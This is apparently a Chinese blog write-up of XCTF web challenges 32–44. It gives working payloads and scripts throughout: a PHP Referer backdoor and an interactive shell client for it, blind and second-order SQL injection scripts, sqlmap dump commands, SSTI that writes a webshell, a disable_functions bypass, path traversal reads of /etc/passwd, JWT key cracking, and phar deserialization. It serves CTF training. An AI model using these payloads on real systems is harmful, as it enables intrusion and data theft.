攻防世界(web高手进阶区)——32~44题

题号会变动可能不太一样

目录

    • Web_php_wrong_nginx_config
    • Comment
    • Zhuanxv
    • Web_python_block_chain
    • ics-02
    • love_math
    • Web_python_flask_sql_injection
    • /register路由
    • /edit_profile路由
    • Filemanager
    • Bilibili
    • Smarty
    • Triangle
    • TimeKeeper
    • easylaravel

Web_php_wrong_nginx_config

直接尝试登录,另修改isLogin=1 无效
攻防世界(web高手进阶区)——32~44题_第1张图片

有robots.txt存在 提示有(hint.php,Hack.php)
访问hint.php得到提示 配置文件也许有问题呀:/etc/nginx/sites-enabled/site.conf
修改isLogin=1,登录成功(index.php,Hack.php都会有反应)
浏览器访问,直接改cookie
在这里插入图片描述

点击管理中心 url变化
攻防世界(web高手进阶区)——32~44题_第2张图片

可能有目录遍历
根据提示尝试访问配置文件/etc/nginx/sites-enabled/site.conf
?file=…/./…/./…/./…/./etc/nginx/sites-enabled/site.conf&ext=
攻防世界(web高手进阶区)——32~44题_第3张图片

有可疑路径
攻防世界(web高手进阶区)——32~44题_第4张图片

直接访问没反应,加上… 存在目录遍历
攻防世界(web高手进阶区)——32~44题_第5张图片

在var/www/目录发现备份文件
攻防世界(web高手进阶区)——32~44题_第6张图片

一段混淆过的php代码
攻防世界(web高手进阶区)——32~44题_第7张图片

直接print($f)
攻防世界(web高手进阶区)——32~44题_第8张图片

整理后的代码为


$kh="42f7";
$kf="e9ac";
function x($t,$k) {
     
	$c=strlen($k);
	$l=strlen($t);
	$o="";
	for ($i=0;$i<$l;) {
     
		for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
     
			$o.=$t {
     
				$i
			}
			^$k {
     
				$j
			}
			;
		}
	}
	return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
     
	$u=parse_url($rr);
	parse_str($u["query"],$q);
	$q=array_values($q);
	preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
	if($q&&$m) {
     
		@session_start();
		$s=&$_SESSION;
		$ss="substr";
		$sl="strtolower";
		$i=$m[1][0].$m[1][1];
		$h=$sl($ss(md5($i.$kh),0,3));
		$f=$sl($ss(md5($i.$kf),0,3));
		$p="";
		for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];
		if(strpos($p,$h)===0) {
     
			$s[$i]="";
			$p=$ss($p,3);
		}
		if(array_key_exists($i,$s)) {
     
			$s[$i].=$p;
			$e=strpos($s[$i],$f);
			if($e) {
     
				$k=$kh.$kf;
				ob_start();
				@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
				$o=ob_get_contents();
				ob_end_clean();
				$d=base64_encode(x(gzcompress($o),$k));
				print("<$k>$d$k>");
				@session_destroy();
			}
		}
	}
}

根据网上的分析文章https://www.cnblogs.com/go2bed/p/5920811.html
直接利用其给出的脚本,修改一下 k h , kh, khkf,url即可

# encoding: utf-8

from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re

def choicePart(seq,amount):
    length = len(seq)
    if length == 0 or length < amount:
        print 'Error Input'
        return None
    result = []
    indexes = []
    count = 0
    while count < amount:
        i = randint(0,length-1)
        if not i in indexes:
            indexes.append(i)
            result.append(seq[i])
            count += 1
            if count == amount:
                return result

def randBytesFlow(amount):
    result = ''
    for i in xrange(amount):
        result += chr(randint(0,255))
    return  result

def randAlpha(amount):
    result = ''
    for i in xrange(amount):
        result += choice(string.ascii_letters)
    return result

def loopXor(text,key):
    result = ''
    lenKey = len(key)
    lenTxt = len(text)
    iTxt = 0
    while iTxt < lenTxt:
        iKey = 0
        while iTxt<lenTxt and iKey<lenKey:
            result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
            iTxt += 1
            iKey += 1
    return result


def debugPrint(msg):
    if debugging:
        print msg

# config
debugging = False
keyh = "42f7" # $kh
keyf = "e9ac" # $kf
xorKey = keyh + keyf
url = 'http://220.249.52.133:38921/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug

sess = requests.Session()

# generate random Accept-Language only once each session
langTmp = choicePart(languages,3)
indexes = sorted(choicePart(range(1,10),3), reverse=True)

acceptLang = [defaultLang]
for i in xrange(3):
    acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)

init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))

# Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':
    # build junk data in referer
    query = []
    for i in xrange(max(indexes)+1+randint(0,2)):
        key = randAlpha(randint(3,6))
        value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
        query.append((key, value))
    debugPrint('Before insert payload:')
    debugPrint(query)
    debugPrint(urllib.urlencode(query))

    # encode payload
    payload = zlib.compress(cmd)
    payload = loopXor(payload,xorKey)
    payload = base64.urlsafe_b64encode(payload)
    payload = md5head + payload

    # cut payload, replace into referer
    cutIndex = randint(2,len(payload)-3)
    payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
    iPiece = 0
    for i in indexes:
        query[i] = (query[i][0],payloadPieces[iPiece])
        iPiece += 1
    referer = url + '?' + urllib.urlencode(query)
    debugPrint('After insert payload, referer is:')
    debugPrint(query)
    debugPrint(referer)

    # send request
    r = sess.get(url,headers={
     'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
    html = r.text
    debugPrint(html)

    # process response
    pattern = re.compile(r'<%s>(.*)' % (xorKey,xorKey))
    output = pattern.findall(html)
    if len(output) == 0:
        print 'Error,  no backdoor response'
        cmd = raw_input('phpshell > ')
        continue
    output = output[0]
    debugPrint(output)
    output = output.decode('base64')
    output = loopXor(output,xorKey)
    output = zlib.decompress(output)
    print output
    cmd = raw_input('phpshell > ')

攻防世界(web高手进阶区)——32~44题_第9张图片

Comment

扫了一下有/.git目录,用githack搞,看了一下源码没啥有用的东西,感觉应该还有个commit,直接用git_extract全搞下来
在这里插入图片描述


include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
     
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
     
switch ($_GET['do'])
{
     
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
     
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
     
    header("Location: ./index.php");
}
?>

首先要解决登录的问题,根据其登录界面的提示
攻防世界(web高手进阶区)——32~44题_第10张图片

用bp直接爆破出密码 zhangwei666
攻防世界(web高手进阶区)——32~44题_第11张图片
攻防世界(web高手进阶区)——32~44题_第12张图片

很明显的一个二次注入,category在从数据库中取出后没有进行addslashes过滤

发帖时在category处填',content=user(),/*    然后提交留言 */#

/**/形成多行注释 ,#把’,注释 等于说控制了content字段,去掉了其原有的引号,能直接进行mysql语句查询,刚好这也是是个回显位
攻防世界(web高手进阶区)——32~44题_第13张图片

下面要利用mysql的函数读文件,但并不知道flag文件在哪
读取/etc/passwd 看到/home/www下以bash身份运行
攻防世界(web高手进阶区)——32~44题_第14张图片

读取/bin/bash_history:',content=(select load_file('//home/www/.bash_history')),/*
Linux| 用户目录下三个bash文件的作用:
攻防世界(web高手进阶区)——32~44题_第15张图片

发现有删除.DS_Store文件的操作
查询.DS_Store文件:',content=(select hex(load_file('//tmp/html/.DS_Store'))),/*
直接读取显示不全用hex编码显示,得到flag文件路径

读取flag文件:',content=(select hex(load_file('//var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
最后得到flag
攻防世界(web高手进阶区)——32~44题_第16张图片

Zhuanxv

进去没啥东西,进行目录扫描得到/list
攻防世界(web高手进阶区)——32~44题_第17张图片

对登录包测试
攻防世界(web高手进阶区)——32~44题_第18张图片

没啥头绪,只能从cookie:JSESSIONID 得知是tomcat服务器,javaweb要想办法读取配置文件web.xml,再抓一下get请求包,还是没头绪。。。,看了眼wp,js里藏着路径
攻防世界(web高手进阶区)——32~44题_第19张图片

目录遍历读文件
/loadimage?fileName=…/…/WEB-INF/web.xml
攻防世界(web高手进阶区)——32~44题_第20张图片

关于Struts2目录结构,截图自:https://www.cnblogs.com/mke2fs/p/11519039.html
攻防世界(web高手进阶区)——32~44题_第21张图片

参考链接:
https://blog.csdn.net/u010004082/article/details/79351459
https://www.cnblogs.com/pigtail/archive/2013/02/12/2910348.html

读取struts.xml文件 /loadimage?fileName=…/…/WEB-INF/classes/struts.xml
攻防世界(web高手进阶区)——32~44题_第22张图片

再下载applicationContext.xml
攻防世界(web高手进阶区)——32~44题_第23张图片

/loadimage?fileName=…/…/WEB-INF/classes/applicationContext.xml
攻防世界(web高手进阶区)——32~44题_第24张图片

把几个class下下来
/loadimage?fileName=…/…/WEB-INF/classes/com/cuitctf/action/AdminAction.class
jd-gui反编译打开
攻防世界(web高手进阶区)——32~44题_第25张图片
攻防世界(web高手进阶区)——32~44题_第26张图片

Sql(HSQL:https://www.cnblogs.com/fengyouheng/p/11013013.html)语句为
攻防世界(web高手进阶区)——32~44题_第27张图片

可以看到有个过滤
攻防世界(web高手进阶区)——32~44题_第28张图片

构造万能密码登录

?user.name=admin%27%0Aor%0A%271%27%3E%270'%0Aor%0Aname%0Alike%0A'admin&user.password=1

登录也没啥东西,AdminAction.class这有个列目录的
攻防世界(web高手进阶区)——32~44题_第29张图片

/list?pathName=/opt/tomcat/webapps/ROOT/WEB-INF/classes/com/cuitctf/po
攻防世界(web高手进阶区)——32~44题_第30张图片

再去把这两个也搞下来
攻防世界(web高手进阶区)——32~44题_第31张图片

看大佬wp说是个flag的映射类,感觉flag在数据库中,读取cfg.xml映射文件,确定flag在数据库中https://xz.aliyun.com/t/2405#toc-18
下面就是盲注了(脚本直接用的wp中的)

import requests
s=requests.session()

flag=''
for i in range(1,50):
    p=''
    for j in range(1,255):
        payload = "(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'"+str(j)+"'"
        #print payload
        url="http://220.249.52.133:34528/zhuanxvlogin?user.name=admin'%0Aor%0A"+payload+"%0Aor%0Aname%0Alike%0A'admin&user.password=1"
        r1=s.get(url)
        #print url
        #print len(r1.text)
        if len(r1.text)>20000 and p!='':
            flag+=p
            print i,flag
            break
        p=chr(j)

Web_python_block_chain

点开直接看源码,区块链的题。。。。。。好复杂,写不明白还是挂个链接吧
参考链接
https://xuanxuanblingbling.github.io/ctf/web/2018/05/01/DDCTF2018-WEB4-%E5%8C%BA%E5%9D%97%E9%93%BE/
https://delcoding.github.io/2018/04/ddctf-writeup4/
https://xz.aliyun.com/t/2299
https://www.360zhijia.com/anquan/375753.html

ics-02

攻防世界(web高手进阶区)——32~44题_第32张图片

根据题目描述进文档中心,点这个下载download.php
用winhex打开发现好像是个pdf
攻防世界(web高手进阶区)——32~44题_第33张图片

修改后缀名打开

攻防世界(web高手进阶区)——32~44题_第34张图片
题目考的应该和ssrf有关
python dirsearch.py -u"http://220.249.52.133:35081/" -e * 扫出来一个/secret
攻防世界(web高手进阶区)——32~44题_第35张图片

/secret/secret_debug.php

攻防世界(web高手进阶区)——32~44题_第36张图片

攻防世界(web高手进阶区)——32~44题_第37张图片
修改header后依旧无法访问,猜测后端使用 $_SERVER[REMOTE_ADDR]获取用户IP地址,那么只能利用/download页面发起请求
抓一下下载文档的包

攻防世界(web高手进阶区)——32~44题_第38张图片
下载文件的后缀只能是pdf

攻防世界(web高手进阶区)——32~44题_第39张图片
secret.ph把选项提交后
攻防世界(web高手进阶区)——32~44题_第40张图片

有一个填空页面,提交后抓包,这里有时候输入点奇怪的东西就会报错,或者重复提交时,可能存在sql insert注入
攻防世界(web高手进阶区)——32~44题_第41张图片

还发现有个注释
攻防世界(web高手进阶区)——32~44题_第42张图片

所以应该要用到download的ssrf访问http://220.249.52.133:35081/secret/secret_debug.php
攻防世界(web高手进阶区)——32~44题_第43张图片

这里用/* */形成多行注释,这样的话txtLast_name对应字段的位置是没有单引号包裹的,然后在txtLast_name处回显,+ “&” 是为了让 .pdf 的后缀加在这以免影响ssrf(&a=1啥的都行,如果在url提交的话要进行一次urlencode)

import requests
import random
import urllib

url = 'http://220.249.52.133:35081/download.php'

# payload = "database()"
# payload = "select table_name from information_schema.tables where table_schema='ssrfw' LIMIT 1"
# payload = "select column_name from information_schema.columns where table_name='cetcYssrf' LIMIT 1"
# payload = "select column_name from information_schema.columns where table_name='cetcYssrf' LIMIT 1, 1"
payload = "select value from cetcYssrf LIMIT 1"

id = random.getrandbits(16)

data = ('http://127.0.0.1/secret/secret_debug.php?' +
        urllib.parse.urlencode({
     
            "s": "3",
            "txtfirst_name": "1','2',("+payload+"),'4'/*",
            "txtmiddle_name": "2",
            "txtLast_name": "3",
            "txtname_suffix": "4",
            "txtdob": "*/,'5",
            "txtdl_nmbr": id,
            "txtRetypeDL": id
            }) + "&")


r = requests.get(url, params={
     "dl": data})
print(r.text)

love_math

攻防世界(web高手进阶区)——32~44题_第44张图片

只能用白名单里的函数,且因为黑名单限制不能包含’ ‘, ‘\t’, ‘\r’, ‘\n’,’’’, ‘"’, ‘`’, ‘[’, ‘]’ 这些字符,需要通过base_convert(10转到32进制),pi函数,异或等技巧,构造出函数名,payload长度不能超过80。

($pi=base_convert)(1751504350,10,36)($pi(1438255411,14,34)(dechex(1852579882)))
  • base_convert(1751504350,10,36) -------->system
  • $pi(1438255411,14,34) ------>hex2bin
  • dechex(1852579882) ----->将十进制转为十六进制:6e6c202a(字符串形式是:nl *) nl
    *可以读取当前目录下的所有文件;
$pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){
     1})
  • $pi(696468,10,36)------>exec
  • $pi(8768397090111664438,10,30) ------>getallheaders

getallheader()可以用来控制请求头,并且返回的是一个带键值的关联数组,因为[ ]被禁用,所以这里写了{1},{ }可以携带数字, 提交payload的时候需要在头部加上自定义头部1
1:cat flag.php
在这里插入图片描述

Web_python_flask_sql_injection

主要功能就是登陆注册,修改个人信息,能留言 然后可以关注别人
下载附件审计,先看路由 route.py
/index路由
不存在过滤 关键是结果直接回显
攻防世界(web高手进阶区)——32~44题_第45张图片

追踪到Others.py的Add函数
攻防世界(web高手进阶区)——32~44题_第46张图片

a','1','2020-7-20'),(Null,(select database()),'1','2020-7-20')#

攻防世界(web高手进阶区)——32~44题_第47张图片

最终Payload: a','1','2020-7-20'),(Null,(select flag from flag),'1','2020-7-20')#

/login路由
在这里插入图片描述
攻防世界(web高手进阶区)——32~44题_第48张图片

到One函数之后,最后到Sel函数
攻防世界(web高手进阶区)——32~44题_第49张图片
攻防世界(web高手进阶区)——32~44题_第50张图片

无法登录

用万能密码直接登录之前创建的第一个用户
攻防世界(web高手进阶区)——32~44题_第51张图片
攻防世界(web高手进阶区)——32~44题_第52张图片

然后我新创建的用户反正除了这个admin1 都可以随便输一个密码就能登录了。。。。
这里应该也有一个盲注(数据库名是之前别的位置注入出来的)
admin1' or 1=(select database() = 'flask')# (这个用户名要是刚才试过万能密码的那个,别的用户名不过表达式对错都会成功登录)
攻防世界(web高手进阶区)——32~44题_第53张图片

攻防世界(web高手进阶区)——32~44题_第54张图片

成功登录了,也就是说等式成立
Payload: admin1' or 1=(paylaod)#

/register路由

攻防世界(web高手进阶区)——32~44题_第55张图片

追踪到forms.py,可以看到username这里有过滤,但email并没有
攻防世界(web高手进阶区)——32~44题_第56张图片

追踪到Others.py
在这里插入图片描述

攻防世界(web高手进阶区)——32~44题_第57张图片

在页面测试,可以进行盲注,如果正确就会回显Please use a different email address.
攻防世界(web高手进阶区)——32~44题_第58张图片
攻防世界(web高手进阶区)——32~44题_第59张图片

这里的邮箱需要之前已经注册过的

可以写脚本也可以用sqlmap跑
攻防世界(web高手进阶区)——32~44题_第60张图片

这里因为在payload处加了前缀后缀,为了邮箱正确就把email处参数值清空了

sqlmap.py -r test.txt -p email --prefix "123'" --suffix "#@qq.com" --dbms mysql 5.0 --dbs  -v 4 --tamper=space2comment -csrf-token="csrf_token"

攻防世界(web高手进阶区)——32~44题_第61张图片

sqlmap.py -r test.txt -p email --prefix "123'" --suffix "#@qq.com" --dbms mysql 5.0 -D flask -T flag -C "flag" --dump  -v 4 --tamper=space2comment -csrf-token="csrf_token"

攻防世界(web高手进阶区)——32~44题_第62张图片

/edit_profile路由

攻防世界(web高手进阶区)——32~44题_第63张图片

再到forms.py
攻防世界(web高手进阶区)——32~44题_第64张图片
攻防世界(web高手进阶区)——32~44题_第65张图片

note(页面上的About me)这里的过滤相对来说不严,有可乘之机

再看更新数据时用到的Mod函数
攻防世界(web高手进阶区)——32~44题_第66张图片

Sql语句基本就是update user set username=’admin’,note=’hello’ where id=1 这个样子
攻防世界(web高手进阶区)——32~44题_第67张图片

update user set username=’admin’,note=1' and (select 1=1 ) and '1'='1where id=1

攻防世界(web高手进阶区)——32~44题_第68张图片

1' and (select 1=1 ) and '1'='1的结果
攻防世界(web高手进阶区)——32~44题_第69张图片

1' and (select 1=2 ) and '1'='1的结果
攻防世界(web高手进阶区)——32~44题_第70张图片

也就是可以利用这个进行布尔盲注

参考:https://www.guildhab.top/?p=2073

Filemanager

这题看似文件上传,其实主要是利用sql注入修改指定文件名再数据库中的后缀名为空
/www.tar.gz 下载源码审计
数据库的字段结构为
攻防世界(web高手进阶区)——32~44题_第71张图片

同时代码中由于白名单限制,所以无法上传恶意文件,由于版本限制也不能用%00截断,但有一个rename功能,只能修改文件名,但可以通过sql注入,影响其extension为空,再修改文件时加上.php后缀
攻防世界(web高手进阶区)——32~44题_第72张图片

先上传一个用来sql注入的文件
攻防世界(web高手进阶区)——32~44题_第73张图片

修改文件名
攻防世界(web高手进阶区)——32~44题_第74张图片

新的文件名为test2.txt.txt 但数据库中经过update语句

update `file` set `filename`='test2.txt', `oldname`='',extension=’’ where `fid`={$result['fid']}"

filename为test2.txt的extension为空
在这里插入图片描述

再上传一个和上面newname文件名相同的木马文件
攻防世界(web高手进阶区)——32~44题_第75张图片

修改文件名为test2.php 此时的$result[“extension”]已经通过注入变为空
攻防世界(web高手进阶区)——32~44题_第76张图片
攻防世界(web高手进阶区)——32~44题_第77张图片

下面直接蚁剑连接即可
攻防世界(web高手进阶区)——32~44题_第78张图片
攻防世界(web高手进阶区)——32~44题_第79张图片

Bilibili

import requests
for i in range(1,2000):
	url = "http://220.249.52.133:50409/shop?page=%d" % i
	r = requests.get(url)
	ruselt = r.text
	if 'lv6.png' in ruselt:
		print(i)
		break

写个脚本得到lv6所在page
在这里插入图片描述
攻防世界(web高手进阶区)——32~44题_第80张图片

金额很大,但账户的钱只有1000
攻防世界(web高手进阶区)——32~44题_第81张图片

结算时抓包修改价格
攻防世界(web高手进阶区)——32~44题_第82张图片

失败,但发现还有一个折扣的参数
尝试修改
攻防世界(web高手进阶区)——32~44题_第83张图片

应该是成功了,但需要admin账户权限
攻防世界(web高手进阶区)——32~44题_第84张图片

无法sql注入 弱密码,尝试修改jwt https://jwt.io/ 这个网站能在线加密解密
攻防世界(web高手进阶区)——32~44题_第85张图片

可用看到alg": “HS256” 所以不能直接修改用户名 ,还需要密匙
https://github.com/brendan-rius/c-jwt-cracker 用工具跑出密匙为1Kun
在这里插入图片描述

用密匙修改用户名为admin
攻防世界(web高手进阶区)——32~44题_第86张图片

修改cookie就行
攻防世界(web高手进阶区)——32~44题_第87张图片

点击没反应,抓包发现一个become参数
攻防世界(web高手进阶区)——32~44题_第88张图片

有个代码审计
攻防世界(web高手进阶区)——32~44题_第89张图片

在Admin.py找到了这个参数,被pickle.loads处理
攻防世界(web高手进阶区)——32~44题_第90张图片

pickle.loads(bytes_object) — 从 bytes 对象中读取一个反序列化对象,并返回其重组后的对象
搜一下相关漏洞https://www.cnblogs.com/Wanghaoran-s1mple/p/12753921.html
改一下命令跑出来修改become参数就行
攻防世界(web高手进阶区)——32~44题_第91张图片
攻防世界(web高手进阶区)——32~44题_第92张图片

Python3跑出来的就不行,也不知道这库改了啥
攻防世界(web高手进阶区)——32~44题_第93张图片

Smarty

/api /xxf 的ip地址都可以通过修改X-Forwarded-For改变,经过测试发现有Smarty模板注入
攻防世界(web高手进阶区)——32~44题_第94张图片
攻防世界(web高手进阶区)——32~44题_第95张图片

网上搜了篇Smarty SSTI的文章:https://www.freebuf.com/column/219913.html
{$smarty.version} 查看当前版本号
攻防世界(web高手进阶区)——32~44题_第96张图片

Smarty 3.1.30静态方法已经被删除,同时本题的环境为php7
在这里插入图片描述

Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如*||*, or, &&, and, is_array(), 等等

{if phpinfo()}{/if} 成功打出phpinfo
攻防世界(web高手进阶区)——32~44题_第97张图片
在这里插入图片描述
在这里插入图片描述

不能直接执行系统命令,而且路径被限制不能直接读文件,选择挂马

{
     if file_put_contents('/var/www/html/shell.php',')}{
     /if}

攻防世界(web高手进阶区)——32~44题_第98张图片

菜刀连接后用这篇文章的方法直接搞就行
https://www.freebuf.com/articles/web/192052.html
攻防世界(web高手进阶区)——32~44题_第99张图片

/bypass_disablefunc.php?cmd=cat /flag&outpath=/tmp/tmpfile&sopath=/var/www/html/bypass_disablefunc_x64.so 

攻防世界(web高手进阶区)——32~44题_第100张图片

Triangle

攻防世界(web高手进阶区)——32~44题_第101张图片

把另外三个js文件下下来,用sublime插件js format 整理下,找到相关函数
攻防世界(web高手进阶区)——32~44题_第102张图片

js太头疼了,具体过程看大佬博文https://blog.csdn.net/gonganDV/article/details/96285636

TimeKeeper

扫出来有个Flask debug console
攻防世界(web高手进阶区)——32~44题_第103张图片

抓了购买东西的包修改数据为数组,引发报错进入debug
攻防世界(web高手进阶区)——32~44题_第104张图片

看wp说 /asserts/…%2f…%2f…%2f…%2f/etc/passwd目录穿越可以直接读文件,说实话这里我没想明白,这是怎么发现的
在这里插入图片描述

读取/etc/passwd 获得用户 这里应该是ctf或者root
攻防世界(web高手进阶区)——32~44题_第105张图片

读取/sys/class/net/eth0/address获取mac地址,再转成10进制
攻防世界(web高手进阶区)——32~44题_第106张图片
在这里插入图片描述

读取/proc/sys/kernel/random/boot_id 获得机器id
攻防世界(web高手进阶区)——32~44题_第107张图片

这里docker环境应该读取/proc/self/cgroup
攻防世界(web高手进阶区)——32~44题_第108张图片

下面根据这篇文章中的脚本算出pin码即可https://xz.aliyun.com/t/2553
算出来了但就是不对,也不知道是哪个信息出错了
攻防世界(web高手进阶区)——32~44题_第109张图片

瞎搞 直接读一下flag.txt 还真出来了
curl http://220.249.52.133:31780/asserts/…%2f…%2f…%2f…%2f/flag.txt
在这里插入图片描述

把app.py也读了一下 2000多行 ,看不明白
攻防世界(web高手进阶区)——32~44题_第110张图片

尝试注册的时候发现已经有个admin用户了,但看wp做下去也就是能读文件,这题还有个/flag 是假flag ciscn{this_is_a_sample_flag}
攻防世界(web高手进阶区)——32~44题_第111张图片

easylaravel

robots.txt没啥东西
攻防世界(web高手进阶区)——32~44题_第112张图片

注释给了源码地址,下下来审计
攻防世界(web高手进阶区)——32~44题_第113张图片

/routes/web.php 查看路由
攻防世界(web高手进阶区)——32~44题_第114张图片

包里有composer.json 先composer install安装一下相关的包依赖(需要先安装composer)
安装完后项目根目录会有vendor文件夹 composer.lock文件。(因为网络问题一直没安装完。。。也就没composer.lock文件,后来换了阿里云的源才搞定,菜鸟教程那写着的国内源一直不行,不知道咋回事),安装完后才能得到完整源码,毕竟是用的laravel框架

php artisan route:list 查看一下已经定义的路由
攻防世界(web高手进阶区)——32~44题_第115张图片

因为我扫的时候看到一个upload 但自己注册的账户没有 这个功能 所以先去注册登录那看看怎么搞到admin账户,这里用户名是随便的,主要是邮箱地址

app/Http/Middleware/AdminMiddleware.php 找到admin用户邮箱
攻防世界(web高手进阶区)——32~44题_第116张图片

但不能用重复邮箱注册,好在有一个重置密码功能
攻防世界(web高手进阶区)——32~44题_第117张图片

这里点击后会发送一个token到数据库
访问Illuminate\Foundation\Auth\SendsPasswordResetEmails;
攻防世界(web高手进阶区)——32~44题_第118张图片

再到\Illuminate\Contracts\Auth\PasswordBroker
攻防世界(web高手进阶区)——32~44题_第119张图片

改密码的时候也需要这个token
\database\migrations\2014_10_12_100000_create_password_resets_table.php
攻防世界(web高手进阶区)——32~44题_第120张图片
攻防世界(web高手进阶区)——32~44题_第121张图片

/app/Http/Controllers/NoteController.php 发现有一个sql注入
攻防世界(web高手进阶区)——32~44题_第122张图片

SELECT * FROMnotesWHEREauthor='admin' or 1=1#' 通过恶意构造后 回显(正常是无回显的)
nginx是坠吼的 ( 好麻烦,默认配置也是坠吼的
这里可以注入得到用户表中的密码,但是是经过加密处理的,无法解开还是搞不到密码
但可以通过这个sql注入搞到数据库中用来修改密码的token

test' union select 1,(select token from password_resets where email='admin@qvq.im'),3,4,5#

攻防世界(web高手进阶区)——32~44题_第123张图片

然后访问/password/reset/token
攻防世界(web高手进阶区)——32~44题_第124张图片

登录成功后访问flag页面
攻防世界(web高手进阶区)——32~44题_第125张图片

flag | App\Http\Controllers\FlagController@showFlag 本来应该直接打印处flag的
攻防世界(web高手进阶区)——32~44题_第126张图片

现在的flag是空的
攻防世界(web高手进阶区)——32~44题_第127张图片
攻防世界(web高手进阶区)——32~44题_第128张图片

Blade 视图文件使用 .blade.php 文件扩展并存放在 resources/views 目录下
但是还有一个上传功能,题目上传页面代码可通过file_exists(也就是页面中的check功能)使用phar://协议触发反序列化,用pop链删除这个编译后的模板文件
攻防世界(web高手进阶区)——32~44题_第129张图片
攻防世界(web高手进阶区)——32~44题_第130张图片

需要达成的条件:

  • 1.找到可以用来删除文件的函数(unlink函数),并构造pop链
  • 2.需要知道编译后的文件名
find . -name "*.php" | xargs grep "__destruct"

攻防世界(web高手进阶区)——32~44题_第131张图片

vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php
攻防世界(web高手进阶区)——32~44题_第132张图片

新建SwiftByteStream_TemporaryFileByteStream类,将要删除的路径写入,生成phar文件,利用phar://伪协议访问该文件,反序列化结束时自动调用__destruct()也就调用了unlink函数删除文件。

下面就是找到缓存文件的路径
laravel视图缓存没有及时更新:
攻防世界(web高手进阶区)——32~44题_第133张图片

vendor/laravel/framework/src/Illuminate/View/Compilers/Compiler.php
攻防世界(web高手进阶区)——32~44题_第134张图片

编译后文件的路径由两部分构成第一部分是模板的绝对路径path,第二部分是是缓存路径,又因为缓存路径为/storage/framework/views/
根据sql注入那的提示,默认配置是最好的,得到path为/usr/share/nginx/html/resources/views/auth/flag.blade.php的sha1值
最终的路径为:
/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php
生成phar的脚本:https://github.com/CTFTraining/huwangbei_2018_easy_laravel
easy_laravel_exp_gen.php
攻防世界(web高手进阶区)——32~44题_第135张图片

把生成的gif文件上传
攻防世界(web高手进阶区)——32~44题_第136张图片

然后去/files check一下 要更改path路径才能触发反序列化,存储的目录为storge/app/public
攻防世界(web高手进阶区)——32~44题_第137张图片
攻防世界(web高手进阶区)——32~44题_第138张图片

再次访问flag页面
攻防世界(web高手进阶区)——32~44题_第139张图片

参考:
https://www.cnblogs.com/tr1ple/p/11044313.html
https://xz.aliyun.com/t/2912
https://www.dazhuanlan.com/2019/12/24/5e01ca0844f13/

你可能感兴趣的:(攻防世界(web))